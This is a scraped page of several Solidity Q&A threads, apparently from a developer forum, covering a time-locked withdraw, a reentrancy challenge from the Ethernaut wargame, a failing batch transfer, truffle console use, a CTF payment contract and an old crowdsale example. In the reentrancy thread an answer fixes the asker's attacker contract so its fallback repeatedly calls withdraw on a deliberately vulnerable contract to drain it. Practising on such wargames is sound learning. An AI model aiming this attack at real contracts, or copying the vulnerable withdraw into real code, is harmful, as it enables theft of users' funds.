I want the following function to activate after 6 mins(360 secs) of contract deployment because my task requires a withdrawal lock. should I put if (block.timestamp > 360) before the function or inside the function just before the remaining code?
function withdraw(uint256 amount) external updateReward(msg.sender) nonReentrant {
if (block.timestamp > 360) {
s_totalSupply -= amount;
s_balances[msg.sender] -= amount;
emit WithdrewStake(msg.sender, amount);
// transfer: send tokens from contract back to msg.sender.
bool success = s_stakingToken.transfer(msg.sender, amount);
if (!success) {
revert TransferFailed(); // revert resets everything done in a failed transaction.
}}
}
But I'm not even sure if if (block.timestamp > 360) is the right code for this case.
Figured it out for you my brother:
pragma solidity ^0.8.7;
import "hardhat/console.sol";
contract TimeTest{
uint256 public initialTime;
constructor () public{
initialTime = block.timestamp;
}
function withdraw() public {
uint256 nowTime = block.timestamp-initialTime; // time between deployment of contract and now.
console.log(nowTime);
if (nowTime > 60) {
console.log("Time is up");
}
}
}
The reason why you have to do that is because block.timestamp doesnt represent the time since the contract was deployed, but the time since the unix epoch. The name of the variable is a little misleading.
You can find more info here: https://docs.soliditylang.org/en/v0.8.13/units-and-global-variables.html
Or here:https://programtheblockchain.com/posts/2018/01/12/writing-a-contract-that-handles-time/ (just know that "now" doesnt exist anymore since version 0.0.7. "now" was equivalent to "block.timestamp". But the tutorial is still valid if you replace "now" with "block.timestamp".
Related
I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.
I am learning solidity. The code i have written compiles correctly and the same solution is given in the solutions of the question but it keeps reverting without any output. Please check the code once and let me know the mistake.
The question is to transfer the given amount from the amount array to the to array from the same position, i.e., from ith position of amount to ith position of to.
It shows the error message : "The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance."
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.5.0 <0.9.0;
contract Day4 {
address owner;
constructor() {
owner = msg.sender;
}
function send(address payable[] memory to, uint256[] memory amount)
public
payable
ownerOnly
{
require(to.length == amount.length, "to must be same length as amount");
for (uint256 i = 0; i < to.length; i++) {
to[i].transfer(amount[i]); //to array - 0x00 0x01 0x02
//amount array - 10 20 30
}
}
modifier ownerOnly() {
require(msg.sender == owner,"You are not the owner");
_;
}
}
Your issue depends from transfer() function. In details, this function allow you to transfer a specific amount from the smart contract balance to another address.
In your case, when you call directly send() function the smart contract balance is 0 because I think (since I don't see a deposit method) that you didn't deposit an amount to it.
For this reason, when you call send() function it reverts and doesn't works.
To solve this issue before call send() method, try to deposit a specific amount of ether to smart contract and then call send() method.
REMEMBER: The sum of array amount must be less to smart contract balance, otherwise it reverts.
I adjusted your smart contract in this way:
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.5.0 <0.9.0;
contract Day4 {
address owner;
constructor() {
owner = msg.sender;
}
function send(address payable[] memory to, uint256[] memory amount)
public
payable
ownerOnly
{
require(to.length == amount.length, "to must be same length as amount");
for (uint256 i = 0; i < to.length; i++) {
to[i].transfer(amount[i]);
}
}
modifier ownerOnly() {
require(msg.sender == owner,"You are not the owner");
_;
}
// NOTE: Call this function for first, and before this operation set the values inside msg.value textbox in
// Remix IDE (if you're using it)
function deposit() public payable {
}
}
I'm trying to call a method from a contract that was instantiated from another contract. I use truffle console.
Here are the details: (I think you can gloss over the code, since this question is aimed at using truffle console, not fixing any bugs)
I have a contract called MyCoinSupply.sol:
pragma solidity ^0.8.0;
import "./MyCoin.sol";
contract MyCoinSupply is MyCoin("MyCoin", "MYC") // MyCoin is ERC20
{
constructor() public // gives 1000 tokens to the owner
{
_mint(msg.sender, 1000);
}
function getCoinbase() public returns (address) // for debugging purposes
{
return block.coinbase;
}
function _mintMinerReward() internal // gives 20 tokens to the miner
{
// _mint(block.coinbase, 20); // for some reason, block.coinbase is address 0
}
function _transfer(address from, address to, uint256 value) override internal
{
_mintMinerReward();
super._transfer(from, to, value);
}
}
I instantiate MyCoinSupply.sol within MyCoinDEX.sol:
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./MyCoinSupply.sol";
contract MyCoinDEX
{
IERC20 public token;
event Bought(uint256 amount);
event Sold(uint256 amount);
constructor() public
{
token = new MyCoinSupply();
}
function showSender() public view returns (address) // for debugging purposes
{
return (msg.sender);
}
function buy(uint256 amountTobuy) payable public // send ether and get tokens in exchange; 1 token == 1 ether
{
uint256 dexBalance = token.balanceOf(address(this));
require(amountTobuy > 0, "You need to send some ether");
require(amountTobuy <= dexBalance, "Not enough tokens in the reserve");
token.transfer(msg.sender, amountTobuy);
emit Bought(amountTobuy);
}
function sell(uint256 amount) public // send tokens to get ether back
{
require(amount > 0, "You need to sell at least some tokens");
uint256 allowance = token.allowance(msg.sender, address(this));
require(allowance >= amount, "Check the token allowance");
token.transferFrom(msg.sender, address(this), amount);
payable(msg.sender).transfer(amount);
emit Sold(amount);
}
}
Here's my migration for deploying contracts:
const MyCoinSupply = artifacts.require("MyCoinSupply");
const MyCoinDEX = artifacts.require("MyCoinDEX");
module.exports = function(deployer) {
deployer.deploy(MyCoinSupply);
deployer.deploy(MyCoinDEX);
};
Here's my problem:
When I try to call functions that belong to MyCoinDEX, all works well:
truffle(development)> let instance = await MyCoinDEX.deployed()
undefined
truffle(development)> instance.buy(1)
All is good here.
However, when I try the following I get an error:
truffle(development)> instance.token.balanceOf("0xE1994C1054f9c4171B8ae9a7E7a68F404c2bF829")
evalmachine.<anonymous>:0
instance.token.balanceOf("0xE1994C1054f9c4171B8ae9a7E7a68F404c2bF829")
^
Uncaught TypeError: instance.token.balanceOf is not a function
I Googled this error (I read this solution and this solution), but I didn't really stumble upon a solution. Can someone tell me how can I call token's methods from MyCoinDEX?
Thank you in advance!
looking to create a challenge for a CTF, where I give the user a smart contract for a piece of art that requires a minimum cost of 20 ether. Once the payment has been accepted, he gets by return the flag. The code below works and checks balances against the account in remix but how can I get it to return the flag if the payment is correct?
Any help and pointers would be appreciated.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract payment_for_art {
function invest() external payable {
if(msg.value < 20 ether) {
revert();
}
}
function balance_of() external view returns(uint) {
return address(this).balance;
}
}
Regards
K
You can create a bool property that flags whether the payment has been done.
contract payment_for_art {
// default value is `false`, don't need to explicitly state it
bool public isPaid;
function invest() external payable {
// to prevent multiple payments
// reverts if the condition is not met
require(isPaid == false);
if(msg.value < 20 ether) {
revert();
}
isPaid = true; // flag that the payment has been done
}
// ... rest of your code
}
Since it has the public modifier, any other contract or off-chain app can read its value (but cannot rewrite it). You can remove the modifier if you don't want the value to be accessible from outside of the contract.
I'm trying to set up a basic crowdsale at ethereum testnet and the solidity code I'm using is the basic examples found at
https://ethereum.org/crowdsale#the-code
with steps followed as described in that guide.
The issue first was that the ethereum wallet doesn't accept the code as is to compile due to the first line:
contract token { function transfer(address receiver, uint amount){ } }
Specifically, its function returns a warning of an unused local variable and won't compile. Is there a way around this other than defining empty variables inside the function?
The second issue is after it's deployed with the modification as mentioned above, it works. But when it sends tokens to the wallet that sent the ether, the amount is always locked at 0.00 tokens.
FULL CODE:
pragma solidity ^0.4.2;
contract token { function transfer(address receiver, uint amount){ receiver; amount; } }
contract Crowdsale {
address public beneficiary;
uint public fundingGoal; uint public amountRaised; uint public deadline; uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
event GoalReached(address beneficiary, uint amountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
bool crowdsaleClosed = false;
/* data structure to hold information about campaign contributors */
/* at initialization, setup the owner */
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
token addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 ether;
tokenReward = token(addressOfTokenUsedAsReward);
}
/* The function without a name is the default function that is called whenever anyone sends funds to a contract */
function () payable {
if (crowdsaleClosed) throw;
uint amount = msg.value;
balanceOf[msg.sender] = amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
/* checks if the goal or time limit has been reached and ends the campaign */
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
//If we fail to send the funds to beneficiary, unlock funders balance
fundingGoalReached = false;
}
}
}
}
EDIT: I forgot to mention the steps leading to this point aka Token creation / shareholder association work with the code as is provided in the guide.
I came across the same issue. I solved it by actually defining the transfer function as the example from ethereum.org provides an empty one.
I replaced this:
contract token { function transfer(address receiver, uint amount){ } }
By this:
contract token {
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address _to, uint256 _value) {
if (_to == 0x0) throw;
Transfer(msg.sender, _to, _value);
}
}
For your second problem, do you actually have a confirmation that the token created were actually sent? How many ether did you send to the crowd-sale contract? It seems that you are using two decimals for your token and if you defined "Ether cost of each token" of 5 like in the example, you shouldn't send less than 0.05 ether to the crowd-sale contract.
Hope it helps!